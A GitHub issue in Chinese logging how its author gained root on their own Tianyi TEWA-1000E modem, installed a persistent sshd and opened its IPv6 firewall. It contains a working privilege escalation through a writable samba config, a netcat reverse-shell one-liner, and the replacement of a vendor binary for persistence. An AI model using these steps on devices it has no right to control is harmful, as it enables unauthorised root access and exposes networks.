Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

无su密码情况下获取root shell以及开放IPv6防火墙 #24

Open
rikka0w0 opened this issue Apr 1, 2024 · 0 comments
Open

无su密码情况下获取root shell以及开放IPv6防火墙 #24

rikka0w0 opened this issue Apr 1, 2024 · 0 comments

Comments

@rikka0w0
Copy link

rikka0w0 commented Apr 1, 2024

网上的天邑su工具TelnetClient.exe都不好用,勾选计算su会闪退...

感觉只能另辟蹊径了。

网上的教程可以轻松获取超级管理员密码以及telnet权限,但是telnet登录后默认是用户,没有root,也不知道su的密码。

参考

  1. https://unix.stackexchange.com/a/533599
  2. Support for Technicolor DMA0120VHA (VBNT-R) from Vodafone in Australia hack-technicolor/hack-technicolor#144 (comment)
  3. http://124.221.74.234/topic.asp?ID=31
  4. https://hosch3n.github.io/2023/12/05/%E8%8E%B7%E5%8F%96%E5%85%89%E7%8C%AB%E7%AE%A1%E7%90%86%E5%91%98%E5%8A%A8%E6%80%81%E5%AF%86%E7%A0%81/
  5. https://github.com/ericwang2006/tianyi_adv_nat_fix
  6. 关闭IPv6防火墙: https://bravegougou.cn/archives/%E7%94%B5%E4%BF%A1%E5%85%89%E7%8C%AB%E5%A4%A9%E9%82%91tewa-708e%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98%E5%AF%86%E7%A0%81%E8%8E%B7%E5%8F%96%E5%BC%80%E5%90%AFtelnet%E4%BB%A5%E5%8F%8A%E5%85%B3%E9%97%ADipv6%E9%98%B2%E7%81%AB%E5%A2%99

20240402更新 - 初次尝试

现在找到了不获取su密码的情况下拿到root权限的方法。本方法利用了samba自身的bug实现。

我发现提供文件共享的samba居然是用root运行的,其配置文件/var/samba/smb.conf(内存文件)可由用户读写。于是我设想可以修改/var/samba/smb.conf,让samba允许远程客户端读写光猫的root目录/,然后以root权限去修改系统文件达到获得root权限的目的。

  1. 按照参考4的方法获取telnet以及超级管理员密码
  2. 登录telnet。此时运行echo $USER会返回telnet-user,这是我们默认情况下telnet登录的用户,只拥有最基本权限。
  3. /var/samba/smb.conf加料,运行如下命令
echo '[ty_root]' >> /var/samba/smb.conf
echo 'writable = yes' >> /var/samba/smb.conf
echo 'browseable = yes' >> /var/samba/smb.conf
echo 'path = /' >> /var/samba/smb.conf
  1. 退出telnet。
  2. 给光猫usb口插个fat32或者ntfs格式的u盘,内容任意,并且不会被修改。此时上面被修改的/var/samba/smb.conf文件会生效。
  3. 使用samba客户端连接//192.168.1.1/ty_root,用户名是useradmin,密码是光猫背后那个。Windows用户可以使用文件管理器直接连,Linux用户可以在自己电脑上使用sudo mount -t cifs -o rw,username=useradmin,password=光猫背后密码 //192.168.1.1/ty_root /tmp/ty_root来连接。
  4. 编辑group文件,把telnet-user加到root组里去。Linux用户可以用sudo /tmp/ty_root/var/group来编辑。最后group文件看起来是这样:
root::0:root,admin,support,user,telnet-user
telnet-user:x:100:
  1. 再次登入telnet,这时候就可以运行之前运行不了的、需要root权限的命令了,例如ip之类的。iptablesip6tables这些命令需要root用户,暂时无解。

20240403更新 - 瞎猫碰到死耗子

瞎猫碰到死耗子了...现在有免su密码直接拿到root的方法,简单到难以置信...首先按照常规方式登录telnet,之后打一个;并回车,此时会报错:sh: syntax error: unexpected ";",不用管它,这时执行命令echo $USER,就发现我们是root了2333333
iptablesip6tables这些之前无法执行的指令也可以执行了。

具体原理未知,感觉像是telnet上去之后是某种程序在过滤我们的指令,理由如下:

$wget
Error!
#直接运行wget会报错,但是通过bash的手执行就是正常的...说明我们根本就没有在正常的shell...

$bash -c 'wget'
BusyBox v1.28.3 (2021-08-12 18:03:54 CST) multi-call binary.

Usage: wget [-cq] [-O FILE] [-Y on/off] [-P DIR] [-S] [-U AGENT] [-T SEC] URL...

Retrieve files via HTTP or FTP

        -c              Continue retrieval of aborted transfer
        -q              Quiet
        -P DIR          Save to DIR (default .)
        -S              Show server response
        -T SEC          Network read timeout is SEC seconds
        -O FILE         Save to FILE ('-' for stdout)
        -U STR          Use STR for User-Agent header
        -Y on/off       Use proxy

此外,直接在telnet中运行su,需要的密码就是su密码,与/etc/passwd中记载的su密码并不一样。更改/etc/passwd中的密码hash值并不能更改su密码,这点很令人费解。但是/etc/passwd的密码在dropbear中是可以使用的。运行dropbear需要通过netcat来把dropbear传到光猫上(建议在/var目录中),并附带一个host key(例如dropbear_rsa_host_key)。用在telnet中使用root用户运行./dropbear -F -p 2222 -K 300 -T 3 -r dropbear_rsa_host_key即可启动dropbear,端口2222。

Reverse Shell

既然知道Telnet里输入命令有过滤,那就需要另一种方式访问shell。首先在你的Linux PC(假设是192.168.1.100)上运行netcat -lvp 11451,然后在光猫telnet中(假设telnet-user已加入root组)运行rm -f /var/fff;mknod /var/fff p;cat /var/fff|/bin/sh -i 2>&1|nc 192.168.1.100 11451 >/var/fff。此时,Linux PC上的netcat将接管shell。这样操作起来会方便不少。

20240404更新 - 加入ssh,更方便的root shell

将openssh服务器以及其配置放入永久储存,比telnet更加方便。目前不能做到自启动,每次重启光猫之后都需要重复20240402和20240404更新的所有操作。以下所有操作基于基于20240402更新。

  1. 在已挂载20240402更新步骤6中cifs文件系统后,在Linux PC上编辑/tmp/ty_root/var/samba/smb.conf,在我们之前加的[ty_root]字段最后增加一行root preexec = /opt/upt/apps/ssh/start_ssh.sh。最终看起来是这样的:
...此处省略大部分原本配置文件...
#2015-10-13 tjh:no need following sections
#[public]
#  comment = shared folders on each volume
#  browseable = yes
#  read only = no
#  path = /var/samba/share

[ty_root]
writable = yes
browseable = yes
path = /
root preexec = /opt/upt/apps/ssh/start_ssh.sh
[USB_disc1]
writable = yes
browseable = yes
path = /mnt/usb1_1

USB_disc1那项是我的u盘,你的u盘名字可能不一样,不需要在意。
2. 新建文件夹/tmp/ty_root/opt/upt/apps/ssh/,并将sshd_aarch64.tar.gz里的三个文件放入其中:

sudo mkdir /tmp/ty_root/opt/upt/apps/ssh/
wget -qO- 上面sshd_aarch64.tar.gz的地址 | sudo tar -zvx -C
  1. 创建主机的密钥:
sudo ssh-keygen -q -N "" -t rsa -b 4096 -f /tmp/ty_root/opt/upt/apps/ssh/ssh_host_rsa_key
sudo ssh-keygen -q -N "" -t dsa -f /tmp/ty_root/opt/upt/apps/ssh/ssh_host_dsa_key
  1. 把自己的公钥放到光猫上:
sudo cp ~/.ssh/id_rsa.pub /tmp/ty_root/opt/upt/apps/ssh/authorized_keys
  1. 卸载Linux PC上的cifs文件系统:sudo umount /tmp/ty_root
  2. 插拔一次光猫上的u盘。
  3. 再次按20240402更新步骤6挂在cifs文件系统,此时光猫上的/opt/upt/apps/ssh/start_ssh.sh会被自动执行,该脚本会修正ssh相关文件的所有权、建立所需要的目录,然后如果发现sshd没有启动则启动之。
  4. 在Linux PC上运行:ssh root@192.168.1.1即可免密码登录ssh,此shell具有root权限,请务必小心使用!这里的shell是可以执行'iptables'和'ip6tables'命令的。

声明

  1. sshd_aarch64.tar.gz中的sshd为aarch64架构的静态可执行ELF文件,我是从alex-sector/static-binaries找的。如果怕不安全就自己编译吧。
  2. 这里使用的sshd_config经过深度魔改,让sshd不检查authorized_keys路径的权限。
  3. 新的sshd强制Privilege Separation,没办法,只能去迎合,start_ssh.sh已经做到了。
  4. 重复运行start_ssh.sh只会启动一次sshd。
  5. 改了sshd_config的话需要想办法kill sshd的进程,或者重启光猫并重复上面步骤。
  6. 上面增加ssh服务器的过程不会修改光猫的root密码、su密码和用户密码,而且也修改不了,这就是为什么我们需要pubkey的方式来登录。
  7. 这里提供的sshd_config在公网访问时会强制要求Pubkey,公网是没法用密码ssh进来的,这样是出于安全考虑。

开机自启sshd

经过上面的步骤,虽然sshd留在了flash上,重启也还在,但是光猫重启之后并不能自行启动。于是参考0neday/OptiXstarHS8145X6,我们可以把/opt/upt/apps/apps/opt/apps/opmaintain/diagapps/ommonitord替换为我们自己的脚本,然后只在其第一次运行时尝试启动ssh服务器,并且该脚本在任何时候运行都会运行原来的ommonitord,这样就不耽误功能了。

首先通过ssh的方式拿到root shell,之后把ommonitord改名:
mv /opt/upt/apps/apps/opt/apps/opmaintain/diagapps/ommonitord /opt/upt/apps/apps/opt/apps/opmaintain/diagapps/ommonitord_stock
然后把我们自己的脚本放到/opt/upt/apps/apps/opt/apps/opmaintain/diagapps/ommonitord那里:

#!/bin/sh

FLAG_FILE=/var/ommonitord_first_run.log

if [ ! -f $FLAG_FILE ]; then
        date > $FLAG_FILE
        /opt/upt/apps/ssh/start_ssh.sh &
fi

cd /opt/upt/apps/apps/opt/apps/opmaintain/diagapps
./ommonitord_stock "$@"

别忘了,需要给可执行权限:chmod +x /opt/upt/apps/apps/opt/apps/opmaintain/diagapps/ommonitord
现在重启之后,光猫会自动运行ssh,此时直接ssh登录即可。注意,这时LAN侧只能用IPv4登录(ssh root@192.168.1.1),WAN侧可用IPv6登录光猫。这猫路由有问题,LAN侧设备默认不能通过IPv6访问这猫,修复方法在后面有说。

在光猫的IPv6防火墙上打洞

在默认情况下,光猫的IPv6防火墙出于安全因素,会Drop掉所有的IPv6入站连接。有些光猫可以通过普通用户或者超级管理员来关闭IPv6防火墙,但是TEWA-1000E的管理页面里没有这些选项,于是需要拿到root shell来手动配置。

现在国内用户,如果没有办过特殊的网络套餐,基本都是NAT IPv4加公网IPv6的方案,因此只需要考虑IPv6的入站即可。而且毕竟IPv6战未来。

对互联网开放光猫的ssh端口

其中ppp1.2是光猫上对应互联网的网络接口,可通过ip a查看
ip6tables -I INPUT 1 -i ppp1.2 -p tcp -m tcp --dport 22 -j ACCEPT

对局域网开放光猫的ssh端口

不知为何,该光猫的路由规则里有这么一条(第二条102):

# ip -6 rule list
0:      from all lookup local
102:    from all fwmark 0x40000000/0xe0000000 lookup 102
102:    from 240e:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx lookup 102
32766:  from all lookup main

# ip -6 route list table 102
fe80::/64 dev br0  metric 1024  pref medium
default via fe80::xxxx:xxxx:xxxx:xxxx dev ppp1.2  proto ra  metric 1024  expires 1511sec pref medium

ip -6 rule list里第三条规则会让从光猫本地发出的包强制走102号路由表,但是102号路由表又只允许ppp1.2出站,这会让在br0侧的局域网设备连不上光猫的IPv6 ssh,也ping不同。解决方法是干掉那行102: from 240e:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx lookup 102:

IP6=$(ip -6 a show ppp1.2 | grep 'global' | grep -v 'link' | grep -vE 'fc00::/7|fd[[:xdigit:]]' | awk '{print $2}' | cut -d'/' -f1)
ip -6 rule list | grep $IP6 | grep 'lookup 102' && ip -6 rule del from $IP6 lookup 102

这样从本机发出的包就会正常按主路由表来走,局域网侧的IPv6 ssh以及IPv6 ping就通了。

允许互联网ping光猫

只允许Ping,安全

ip6tables -I INPUT -i ppp1.2 -p icmpv6 -m icmp6 --icmpv6-type 128 -j ACCEPT
ip6tables -D output_firewall -o ppp1.2 -p icmpv6 -m icmp6 --icmpv6-type 129 -j DROP

允许所有ICMP(可能有风险,强烈不推荐)

ip6tables -I INPUT 1 -i ppp1.2 -p ipv6-icmp -j ACCEPT
ip6tables -I OUTPUT 1 -o ppp1.2 -p ipv6-icmp -j ACCEPT

开放IPv6 Forward,允许光猫后面的PC被公网通过IPv6访问到

ip6tables -D forward_firewall -i ppp1.2 -j DROP

这种情况下一定要确保后面每一个设备都正确配置防火墙,不要把不该暴露的服务不小心暴露在公网上!可以用匹配IPv6后缀以及端口的方法只暴露最少的端口减少被攻击面,具体怎么做可以上网查查。

让ip6tables修改持久

暂未找到方法,这个光猫的rootfs是squashfs,只读的。只能看看/etc/init.d/里的脚本有没有自动执行那些可读写分区的操作了。

20240411更新 - ip6tables持久化

上面开启IPv6防火墙端口和转发的方法,其效果会在重启后消失,因为Linux的iptables不是持久的,需要每次都手动修改。因此我们可以使用一个启动脚本来实现:

#!/bin/sh

# This script modifies the IPv6 firewall to open ports 

open_ipv6_tcp_port() {
	if ip6tables -S INPUT | grep -Fe "-A INPUT -p tcp -m tcp --dport $1 -j ACCEPT" > /dev/null; then
		echo "TCP port $1 has been opened already!"
	else
		ip6tables -I INPUT 1 -p tcp -m tcp --dport $1 -j ACCEPT
		echo "Open TCP port $1"
	fi
}

# Fix the routing table by removing the unhealthy rule,
# otherwise PCs on LAN cannot connect to us via IPv6.
# Normally, we should not reject any connection from LAN.
IP6=$(ip -6 a show ppp1.2 | grep 'global' | grep -vE 'fc00::/7|fd[[:xdigit:]]{2,4}' | awk '{print $2}' | cut -d'/' -f1)
if [ -z "$IP6" ]; then
        echo "Cannot find a valid public IPv6 address, abort!"
        exit 1
fi
echo "IPv6: $IP6"

if ip -6 rule list | grep -Fe $IP6 | grep 'lookup 102' > /dev/null; then
	ip -6 rule del from $IP6 lookup 102
	echo "Unhealthy routing rule has been removed."
fi

# Change IPv6 firewall rules
# Enable Ping from the Internet
if ip6tables -S INPUT | grep -Fe "-A INPUT -i ppp1.2 -p icmpv6 -m icmp6 --icmpv6-type 128 -j ACCEPT" > /dev/null; then
	echo "Ping is allowed."
else
	ip6tables -I INPUT -i ppp1.2 -p icmpv6 -m icmp6 --icmpv6-type 128 -j ACCEPT
	ip6tables -D output_firewall -o ppp1.2 -p icmpv6 -m icmp6 --icmpv6-type 129 -j DROP > /dev/null 2>&1
	echo "Ping has been enabled from the Internet."
fi

# Enable IPv6 forwarding from the Internet to LAN
# Warning: This will expose all your devices to the Internet!
# Please remember that the public Internet can be hostile,
# and make sure all of your devices have properly configured IPv6 firewall!
ip6tables -D forward_firewall -i ppp1.2 -j DROP > /dev/null 2>&1

# Enable ssh inbound (to this device only) from any interfaces
open_ipv6_tcp_port 22

exit 0

将上述内容存为/opt/upt/apps/fix_ip6tables.sh,然后在上面改的/opt/upt/apps/apps/opt/apps/opmaintain/diagapps/ommonitord脚本的date > $FLAG_FILE之后加入一行[ -f /opt/upt/apps/fix_ip6tables.sh ] && /opt/upt/apps/fix_ip6tables.sh即可

但是这样做有个潜在问题,如果光猫没有重启但是IPv6改变了怎么办呢?找了一圈,似乎光猫上没有明文的用于更新ip6tables的脚本。我的注意力在/bin/smd这个二进制程序上,因为这里提到了这个/bin/smd是某种“主进程”,并且其负责拉起DHCP服务并根据用户配置产生dhcpd的配置文件。所以我感觉防火墙可能也是这个程序根据某种用户配置文件自动配置的或者是硬编码在里面的。

$ binwalk smd

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, ARM, version 1 (SYSV)
47160         0xB838          Unix path: /opt/upt/apps/info/reboot_info
47268         0xB8A4          Unix path: /opt/upt/apps/info/
49680         0xC210          Unix path: /etc/init.d/saf-pre.sh
54592         0xD540          Unix path: /etc/init.d/wanconf.sh start

这个可能可以利用下:
https://www.bilibili.com/read/cv17822838/

https://www.cnblogs.com/geyee/p/15915361.html

https://www.cnblogs.com/tianpanyu/p/15611523.html

https://www.chinadsl.net/thread-166731-1-1.html

https://www.chinadsl.net/forum.php?mod=viewthread&action=printable&tid=158737

https://bbs.kanxue.com/thread-278640.htm

20240704更新 - 自动更新IPv6

前面提到的步骤在光猫拿到的IPv6出于某种原因变更之后并不会自动更新,因此需要弄一个后台一直在运行的脚本进行周期性检查。首先新建/opt/upt/app/monitor_ip6.sh,内容如下:

#!/bin/sh

# Function to get the current global IPv6 address of eth0
get_ipv6() {
	ip -6 a show ppp1.2 | grep 'global' | grep -vE 'fc00::/7|fd[[:xdigit:]]{2,4}' | awk '{print $2}' | cut -d'/' -f1
}

on_ipv6_changed() {
	/opt/upt/apps/fix_ip6tables.sh "$1"

	# Update Cloudflare DDNS record once, async
	/opt/upt/apps/update_cf_ddns.sh "$1" &
}

# Initialize previous_ip with nothing
previous_ip=""

while true; do
	# Get the current IPv6 address
	current_ip=$(get_ipv6)

	# Check if the current IP is different from the previous IP
	if [ "$current_ip" != "$previous_ip" ]; then
		# Update previous_ip to current_ip
		previous_ip="$current_ip"

		# Check if current_ip is not empty
		if [ -n "$current_ip" ]; then
			echo "IPv6 has changed to $current_ip, updating..."
			on_ipv6_changed "$current_ip"
		else
			echo "Unable to detect IPv6 address at $(date)" > /var/monitor_ip6.log
		fi
	else
		echo "No change in IPv6 address."
	fi

	# Wait for sometime before checking again
	sleep 10
done

然后把fix_ip6tables.sh改为:

#!/bin/sh

# This script modifies the IPv6 firewall to open ports

open_ipv6_tcp_port() {
	if ip6tables -S INPUT | grep -Fe "-A INPUT -p tcp -m tcp --dport $1 -j ACCEPT" > /dev/null; then
		echo "TCP port $1 has been opened already!"
	else
		ip6tables -I INPUT 1 -p tcp -m tcp --dport $1 -j ACCEPT
		echo "Open TCP port $1"
	fi
}

if [ $# -lt 1 ]; then
	echo "Please supply the current IPv6 as the argument"
	exit 1
fi
IP6=$1

# Fix /etc/resolv.conf
echo 'nameserver ::1' > /etc/resolv.conf

# Fix the routing table by removing the unhealthy rule,
# otherwise PCs on LAN cannot connect to us via IPv6.
# Normally, we should not reject any connection from LAN.
if ip -6 rule list | grep -Fe $IP6 | grep 'lookup 102' > /dev/null; then
	ip -6 rule del from $IP6 lookup 102
	echo "Unhealthy routing rule has been removed."
else
	echo "Unhealthy routing rule was not found, skip."
fi

# Change IPv6 firewall rules
# Enable Ping from the Internet
if ip6tables -S INPUT | grep -Fe "-A INPUT -i ppp1.2 -p icmpv6 -m icmp6 --icmpv6-type 128 -j ACCEPT" > /dev/null; then
	echo "Ping is allowed."
else
	ip6tables -I INPUT -i ppp1.2 -p icmpv6 -m icmp6 --icmpv6-type 128 -j ACCEPT
	ip6tables -D output_firewall -o ppp1.2 -p icmpv6 -m icmp6 --icmpv6-type 129 -j DROP > /dev/null 2>&1
	echo "Ping has been enabled from the Internet."
fi

# Enable IPv6 forwarding from the Internet to LAN
# Warning: This will expose all your devices to the Internet!
# Please remember that the public Internet can be hostile,
# and make sure all of your devices have properly configured IPv6 firewall!
ip6tables -D forward_firewall -i ppp1.2 -j DROP > /dev/null 2>&1
echo "Exposed IPv6 on LAN to the Internet."

# Enable ssh inbound from any interfaces
open_ipv6_tcp_port 22

exit 0

这里主要的改动是让fix_ip6tables.shmonitor_ip6.sh里拿到最新的IPv6,并且只有在IPv6发生改变之后才会运行一次。
最后的最后,我们需要修改先前脚本的/opt/upt/apps/apps/opt/apps/opmaintain/diagapps/ommonitord,使之不直接调用/opt/upt/apps/fix_ip6tables.sh,而是把/opt/upt/app/monitor_ip6.sh拉到后台去运行。具体ommonitord内容如下:

#!/bin/sh

FLAG_FILE=/var/ommonitord_first_run.log

if [ ! -f $FLAG_FILE ]; then
	date > $FLAG_FILE
	[ -f /opt/upt/apps/on_boot.sh ] && /opt/upt/apps/on_boot.sh
	[ -f /opt/upt/apps/monitor_ip6.sh ] && /opt/upt/apps/monitor_ip6.sh &
	/opt/upt/apps/ssh/start_ssh.sh &
fi

cd /opt/upt/apps/apps/opt/apps/opmaintain/diagapps
./ommonitord_stock "$@"
@rikka0w0 rikka0w0 changed the title 有没有获取或者更改su密码的方式呢 无su密码情况下获取root shell以及开放IPv6防火墙 Apr 3, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant